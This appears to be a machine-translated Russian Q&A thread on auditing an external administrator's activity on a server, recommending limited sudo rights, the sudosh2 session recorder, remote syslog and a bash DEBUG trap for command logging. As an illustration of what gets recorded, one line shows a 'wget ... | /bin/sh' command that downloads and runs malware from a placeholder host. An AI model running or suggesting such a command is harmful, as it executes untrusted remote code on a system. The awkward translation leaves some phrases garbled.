Я хочу предоставить доступ к своему корневому серверу внешнему системному администратору, но я хочу убедиться, что дважды проверил, что он делает с моим сервером, например копирование данных, которых я не хочу, и так далее. Я также хотел бы отслеживать любой файл, к которому осуществляется доступ, даже в режиме только для чтения и без редактирования.
Как я могу это сделать?
Не давайте ему root-доступ. Вместо этого предоставьте ему учетную запись непривилегированного пользователя и попросите, чтобы он выполнял всю свою работу через sudo
, который будет регистрировать все его команды.
Имейте в виду, что если у этого человека плохие намерения и вы дадите ему все привилегии sudo, он воля найти способ осуществить эти злые намерения без регистрации этих команд. В этом случае предоставьте ему доступ только к тем командам, которые нужны ему для работы.
Доверяй, но проверяй!
Проверять, выписываться судош2. sudosh2 предоставляется портами FreeBSD. Пакеты доступны для RedHat и Ubuntu. Вот описание с их сайта:
Sudosh - это фильтр оболочки аудита, который может использоваться как оболочка входа в систему. Судош записывает все нажатия клавиш и вывод и может воспроизводить сеанс как на видеомагнитофоне.
Судош позволит вам воспроизвести сеанс пользователя, что позволит вам увидеть весь ввод и вывод таким, каким его видел пользователь. Вы видите все: нажатия клавиш, опечатки, пробелы, что они редактировали в vi
, выход wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh
, и т.д.
Можно отправлять журналы Sudosh в системный журнал, чтобы их можно было хранить на центральном сервере системного журнала вдали от системы.
Обратите внимание, что судош2 - это замена судоша, от которого отказался его автор.
Вы работаете в академическом учреждении, где пользователи настаивают на привилегиях суперпользователя? Или вы работаете в корпорации и хотите разрешить пользователям иметь права суперпользователя на их собственных виртуальных машинах? Это может быть решением для вас.
С судош2 не знаком, но в свой .bashrc
для регистрации всех команд, которые я набираю в bash
оболочка в файл ~/.command_log
:
# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
\$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi
Сказанное выше ставит ловушку на DEBUG
, который выполняется непосредственно перед выполнением обычной команды. В caller
встроенный используется для проверки того, набирается ли команда в интерактивной оболочке или запускается через что-то вроде .bashrc
. Значение ${BASH_COMMAND}
содержит команду, которая выполняется в данный момент.